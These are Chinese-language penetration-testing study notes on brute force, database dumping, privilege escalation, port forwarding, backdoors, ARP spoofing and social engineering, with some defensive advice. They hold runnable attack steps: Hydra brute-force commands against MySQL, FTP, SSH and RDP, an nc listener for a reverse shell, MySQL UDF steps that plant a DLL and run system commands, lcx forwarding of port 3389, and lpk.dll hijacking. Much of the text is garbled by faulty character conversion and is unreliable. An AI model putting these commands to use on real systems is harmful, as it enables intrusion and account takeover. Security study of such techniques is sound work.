對模糊滲透測試而言,不管對方是開源程序仍是閉源程序,均可以進行工做,並且易於自動化咱們徹底能夠使用工具來進行漏洞掃描,可是滲透測試也有缺點,也就是不能徹底發現漏洞。
一些常見的源代碼審計工具備 Source,Navigator,Fortify SCA,CheckMarx,
CodeScan,Skavenger等,可是所有都是半自動的,也就是必需要人工參與。
1.網站後臺安全
1.模板 工具:WordPress 2.文件管理 工具:DedeCms 3.執行SQL語句 工具:PhpMyAdmin 4.網站備份
2.拖庫
拖庫就是數據庫中數據的導出操做。數據導出操做主要分爲兩種:一種是數據庫支持外鏈接,也就是容許客戶端網絡鏈接數據庫;另外一種是不容許外鏈接,只容許本地操做數據庫。
1.支持外鏈接 (1)導出表結構及數據 (2)導出表數據 2.不支持外鏈接 (1)SQL注射 (2)越權訪問 (3)本地導出
暴力破解也被稱爲枚舉測試,窮舉法測試,是一種針對密碼破譯的方法,即:將密碼逐個比較,直到找出真正的密碼爲止。
1.SQL Server 破解數據庫的工具備不少,例如:Nmap,X-scan,Hydra,CrackDB等 Hydra是著名黑客組織THC的一款開源暴力破解工具,這是一個驗證性質的工具,它被設計的主要目的是:展現安全研究人員從遠程獲取一個系統認證權限。 Hydra目前支持的破解服務有:FTP,MSSQL,MYSQL,POP3,SSH等。 Hydra破解示例以下: (1)破解MySQL密碼 hydra.exe -L c:\user.txt -P c:\pass.txt 192.168.1.110 mysql 使用-L指定用戶名文件,-P指定密碼文件 (2)破解FTP密碼 hydra.exe -I admin -P c:\pass.txt -t 5 192.168.1.100 ftp 使用-I指定用戶名 -t指定線程 (3)破解ssh hydra.exe -L users.txt -P password.txt -e n -t 5 -vV 192.168.1.100 ssh 使用「-e n」對空密碼探測 (4)破解rdp hydra.exe -I administrator -P c:\pass.txt www.xxser.com rdp -V 破解www.xxser.com的rdp服務,即遠程桌面協議 (5)破解pop3 hydra.exe -I root -P pass.txt my.pop3.mail pop3 未指定文件路徑時,Hydra將會在本目錄下查找文件 2.MySQL Medusa是迅速的,大規模並行的,模塊化的暴力破解程序。Medusa的一些關鍵特性以下: (1)基於線程的並行測試,可同時對多臺主機進行測試 (2)模塊化設計,每一個服務模塊做爲一個獨立的mod文件存在 (3)能夠靈活的輸入目標主機信息和測試指標
WordPress是使用PHP語言開發的博客平臺,是一個免費的開源項目,用戶能夠使用WordPress在支持PHP和MySQL數據庫的服務器上架設本身的網站。
1.攻擊OA系統
蒐集用戶名: (1)經過郵箱收集 (2)經過錯誤提示蒐集
2.破解驗證碼
暴力破解驗證碼常常出如今密碼找回,修改密碼,交易支付等操做。
3.防止暴力破解
1.密碼的重要性: (1)對重要的應用系統,密碼長度最低爲6位數以上,儘可能在8-12位之間 (2)毫不容許以本身的手機號碼,郵箱等關鍵「特徵」爲密碼 (3)用戶名與密碼不能有任何聯繫 (4)增長密碼的複雜性 --至少一個小寫字母 --至少一個大寫字母 --至少一個數字 --至少一個特殊字符 2.驗證碼措施 CAPTCHA(驗證碼)是區分用戶是「機器人」仍是正經常使用戶的一種技術,使用驗證碼能夠有效地防止惡意破解密碼 3.登陸日誌(限制登錄次數) 使用登陸日誌能夠有效地防止暴力破解,登陸日誌意味:當用戶登陸時,不是直接登陸,而是先在登陸日誌中查找用戶登錄錯誤的次數,時間等信息,若是操做連續錯誤,失敗,那麼將採起某種措施。
旁註攻擊即攻擊者在攻擊目標時,對目標網站「無從下手」,找不到漏洞時,攻擊者就可能會經過同一服務器的網站滲透到目標網站,從而獲取目標站點的權限,這一過程就是旁註攻擊的過程。
旁註攻擊並不屬於目標站點程序的漏洞,而是來自「外部」的攻擊,另外,攻擊者在進行旁註操做時,通常都會與提權技術結合在一塊兒,旁註與提權是密不可分的。
一個服務器可能存在多個網站或多個數據庫,攻擊者可能經過數據庫提權的方式獲取服務器的管理員權限。
常見的IP反差網站:
http://tool.chinaz.com/Same/
http://dns.aizhan.com/
http://www.114best.com/ip/
SQL旁註即爲跨庫查詢攻擊,是管理員沒有分配好數據庫用戶權限所致使的問題。
一般,在一個數據庫中會有多名用戶,用戶之間互不干擾,可是若是權限分配不當,用戶之間就可能存在越權操做。也被攻擊者稱爲跨庫查詢。
在分配用戶權限時,必定要保持一個原則:權限最小原則。即所分配的權限在不干擾程序運行的狀況下,分配最小的權限。
正常狀況下,每一個web應用程序都存在於一個單獨的目錄中,各程序之間互不干擾,獨立運行。但服務器管理員配置不當時,就會發生目錄越權的風險。
網站自己不存在注入點,而是利用其它漏洞獲取的權限,這時,攻擊者通常會根據對應的腳本語言來構造一個注入點,而後使用工具輔助完成後續任務。
構造注入最主要的是獲得數據庫的帳戶信息,而後使用腳本鏈接。
CDN的全稱是Content Delivery Network,即內容分發網絡。其基本思路是:儘量地避開互聯網上有可能影響數據傳輸速度和穩定性的瓶頸,環節,使內容的傳輸速度更快,更穩定。
使用CDN的效果:
不用擔憂本身網站的訪客,任什麼時候間,任何地點和任何網絡運營商都能快速打開網站
各類服務器虛擬主機帶寬等採購成本(包括後期運營成本)都會大大減小
有效防護SYN Flood,UDP Flood,ICMP Flood,CC等常見的DDoS攻擊等,CND有一套本身的安全處理機制
能夠阻止大部分的web攻擊,如SQL注入,XSS跨站等漏洞
CDN就是將原服務器上能夠緩存的文件(靜態文件,圖片,JS,CSS等)下載到緩存服務器,當用戶在訪問你的域名時,都會訪問緩存服務器,而不是直接去訪問源服務器。
常見的蒐集真實IP的方法: (1)phpinfo() (2)子域名 --ping命令 (3)觀察IP變化 --網站http://toolbar.netcraft.com/
提權是將服務器的普通用戶提高爲管理員用戶的一種操做,提權經常用於輔助旁註攻擊。
攻擊者對服務器提權通常分爲兩種:一種是溢出提權,另外一種是第三方組件提權。
溢出提權是指攻擊者利用系統自己或系統中軟件的漏洞來獲取root權限,其中溢出提權分爲遠程溢出與本地溢出。
遠程溢出是指攻擊者只須要與服務器創建鏈接,而後根據系統的漏洞,使用相應的溢出程序,便可獲取到遠程服務器的root權限。
本地溢出提權時,攻擊者首先須要有服務器一個用戶,且須要有執行權限的用戶纔可能發起提權。攻擊者一般向服務器上傳本地溢出程序,在服務器端執行。若是系統存在漏洞,那麼將會溢出root權限。
1.Linxu提權 (1)查看服務器內核版本 命令:uname-a --查看內核版本 id&uname-a --查看當前用戶的ID,所屬羣組的ID以及內核版本號 (2)本地接收服務器端數據 命令:nc -I -n -v -p 8888 --使用NC接聽本地端口8888,等待服務器端反向鏈接 注:你的計算機IP必須爲外網,不然須要端口轉發 (3)服務器端Shell(執行命令通道)反彈 (4)服務器反彈shell後,就能夠在本地執行一些低權限的命令,此時就至關於鏈接了服務器的ssh,而後將本地溢出Exp上傳到服務器中執行,若是服務器存在本地溢出漏洞,將會獲得一個相似root權限的SSH鏈接 2.Windows提權 (1)探測腳本信息 (2)執行簡單的系統命令 常見的一些CMD參數: /C --執行命令後終止 /K --執行命令後保留 /S --修改/C或/K以後的字符串處理 /Q --關閉回顯 /D --禁止從註冊表執行AutoRun命令 /A --使管道或文件的內部命令輸出爲ANSI /U --使管道或文件的內部命令輸出成爲Unicode
服務器運行時可能須要不少組件支持,好比,服務器安裝了。NET framew
ork,PcAnyhere,MySQL,SQL Server等組件,攻擊者有可能經過這類組件進行提權操做
1.信息收集 (1)服務器支持的腳本語言 (2)服務器端口探測 探測服務器端口有三種方式:經過本地掃描,經過遠程掃描以及執行系統命令等查看端口 (3)蒐集路徑信息 2.數據庫提權 (1)SQL Server SQL Server提權主要是依據一個特殊的存儲過程:"xp_cmdshell",經過這個存儲過程能夠調用系統命令(只有在sysadmin權限下才能夠使用) SQL Server提權通常分爲兩種:注入點和獲得數據庫帳戶信息。 (2)MySQL MySQL最多見的是UDF提權,UDF是User defined Function的縮寫,即用戶定義函數,詳細測試步驟以下: ①CREATE TABLE TempTable(UDF BLOB) //建立臨時表 ②INSERT INTOtEMPTableVALUES(CONVERT(shellcode,CHAR)) //插入shellcode ③SELECT UDF FROM TempTable INTO DUMPFILE'C:\Windows\udf.dll' //導出UDF。dll ④DROP TABLE TempTable //刪除臨時表 ⑤create function cmdshell returns string soname 'udf.dll' //建立cmdshell函數 ⑥select cmdshell('command') //執行命令 ⑦drop function cmdshell //刪除cmdshell函數 3.FTP提權 FTP的全稱是File Transfer Protocol(文件傳輸協議),是在TCP/IP網絡和Internet上最先使用的協議之一。 FTP服務通常運行於20與21兩個端口。其中端口20用於在客戶端和服務器之間傳輸數據流,而端口21用於傳輸控制流,而且是命令通向FTP服務器的進口。 FTP提權主要緣由是利用FTP軟件能夠執行系統命令,當用戶的FTP權限未配置正確,或者權限未配置正確,或者權限過大時,就可能被攻擊者用來提權。 針對webshell能夠利用Serv-U,FileZilla等FTP系列軟件,經過這類軟件添加FTP用戶,再由FTP用戶執行系統命令。 (1)Serv-U提權 (2)G6 FTP提權 (3)FileZilla提權 (4)FlashFXP提權 (5)PcAnywhere提權
虛擬主機是使用特殊的軟/硬件技術把一臺真實的物理電腦主機分紅多個邏輯存儲單元,每一個單元都沒有物理實體,可是每一個單元都能像真實的物理主機同樣在網絡中工做,具備單獨的域名,IP地址以及完整的Internet服務器功能。
在外界看來,每一臺虛擬主機與一臺單獨主機的表現徹底相同。因此,這種被虛擬化的邏輯主機被形象的成爲」虛擬主機「。
常見的虛擬主機有:星外虛擬主機,華衆虛擬主機,西部數碼虛擬主機,N點虛擬主機,新網虛擬主機等。
3389端口是微軟提供的遠程桌面服務默認的端口,也經常被稱做終端端口。遠程桌面協議即Remote Desktop Protocol,簡稱爲RDP
3389端口也是攻擊者」喜好「的端口之一。攻擊者對主機提權後,一般會加一個隱蔽的管理員帳戶,而後經過3389端口鏈接服務器。
有些狀況下,主機即便開放了終端鏈接端口,也沒法鏈接,緣由可能有如下幾種。
1.LCX轉發 LCX是最多見的端口轉發軟件之一,。首先在服務器端執行命令: lcx -listen 500 8888 //監聽500,8888端口 執行命令後,在要轉發的計算機上執行如下命令: lcx.exe -slave 服務器端IP 500 127.0.0.1 3389 //將本機的3389端口數據發送到服務器端的500端口 2.使用shell腳本自帶端口轉發功能 3.reDuh轉發
windows系統在啓動後能夠自動加載一些軟件,俗稱開機啓動。凡是在「C:\Documents and Settings\Administrator [開始] 菜單\程序\啓動」目錄下的程序,windows在啓動後都會一一執行,利用此特性,攻擊者能夠進行提權操做。
lpk.dll位於system32目錄下,特色是每一個可執行文件運行以前都要加載該文件。而windows系統是先判斷當前文件目錄是否存在此文件中,若是存在,則執行當前目錄DLL,若是不存在,則會執行system32目錄下的DLL。
這樣,若是將這個lpk.dll傳至任意目錄,只要運行了目錄中的任何exe文件,都會運行lpk.dll,若是lpk.dll是攻擊者攻擊過的程序,威脅就不言而喻了。
攻擊者獲取到服務器權限後,經常會留下一個後門,將這臺服務器變成本身的「私人用品」。接下來以windows爲例介紹攻擊者最經常使用的幾種後門方式。
ARP是Address Resolution Protocol(地址解析協議)的縮寫。地址解析協議的基本功能就是在主機發送數據以前將目標IP轉換爲MAC地址,完成網絡地址到物理地址的映射,以保證兩臺主機可以正常通訊。
任何一臺主機安裝了TCP/IP協議都會有ARP緩存表,該表保存了這個網絡(局域網)中個主機IP對應的MAC地址,ARP緩存表可以有效地保證數據傳輸的一對一特性。在windows中能夠使用arp -a命令來查看緩存表。若是想要清空ARP緩存表,能夠使用ARP -d命令,若是想刪除單個條目,則能夠使用arp -d ip命令。windows默認的ARP緩存項存活時間爲兩分鐘。
ARP協議主要的缺陷以下:
所謂C段攻擊,就是指同一網關下的主機ARP嗅探,在嗅探出敏感數據後,繼續實施對目標網站的滲透。
經常使用的ARP欺騙工具:
Cain
Cain&Abel是由Oxid.it開發的一個針對Microsoft操做系統的口令恢復工具,其功能十分強大,能夠進行網絡嗅探,網絡欺騙,破解加密口令,顯示緩存口令和分析路由協議等。
Ettercap
Ettercap是一款強大的中間人攻擊工具,可用於主機分析,嗅探,DNS欺騙等。Ettercap提供了三個接口:傳統的命令行模式,圖形化界面及NCURSES.
NetFuke
NetFuke是windows下的一款ARP欺騙嗅探測試工具。
最多見的防護ARP攻擊的方法通常有兩種,一種是靜態綁定,另外一種是安裝ARP防火牆。
靜態綁定是指對每臺主機進行IP和MAC地址靜態綁定,靜態綁定是防止ARP欺騙的最根本方法。
靜態綁定能夠經過命令arp -s實現:‘arp -s IP MAC地址’,好比,對網關的靜態綁定:
arp -s 192.168.195.2 00-50-56-ee-12-6a
另外也須要網關對局域網主機進行IP->MAC地址的靜態綁定,這就是雙綁。
相對來講,使用ARP防火牆要比靜態綁定ARP緩存表要簡單的多,而且一樣能有效地防止ARP攻擊。
ARP防火牆有不少,常見的有金山ARP防火牆,Anti ARP Sniffer(彩影防火牆),360ARP防火牆等。
社會工程學簡稱社工,它是經過對受害者心理弱點,本地反應,好奇心,信任,貪婪等心理陷阱進行諸如欺騙,傷害的一種危害手段。
社會工程學常常被Hacker運用在web滲透方面,也被稱爲沒有「技術」,卻比「技術」更強大的滲透方式。
Whois能夠用來查詢域名是否已經被註冊,若是已經被註冊,將hi查詢域名的詳細信息,好比:域名註冊商,域名註冊日期,域名註冊人聯繫方式等。
若是能夠獲取到郵箱地址,就能夠經過whois反查的方式來肯定這個郵箱到底擁有多少個網站。
當目標網站沒法被攻破時,攻擊者就可能會嘗試對這些網站進行滲透,去尋找一些敏感信息。當攻擊者有了這些信息以後,能夠直接經過社工庫查詢出一些「密碼」。
一個成功的社工師必然是一個擁有」讀心術「的溝通專家,他們老是可以經過溝通獲得本身想要的信息,而且社工師也必然是一個多才多藝的人,由於一個社工師可能有多個身份,並且溝通時必然要懂得一些專業術語,投其所好。
案例1:經過掛廣告滲透網站
案例2:獲取信任後獲得服務器的密碼
社工師們不但善於溝通,也善於僞造,他們爲了達到目標不擇手段。只要用獲得,社工師都會想盡一切辦法僞造。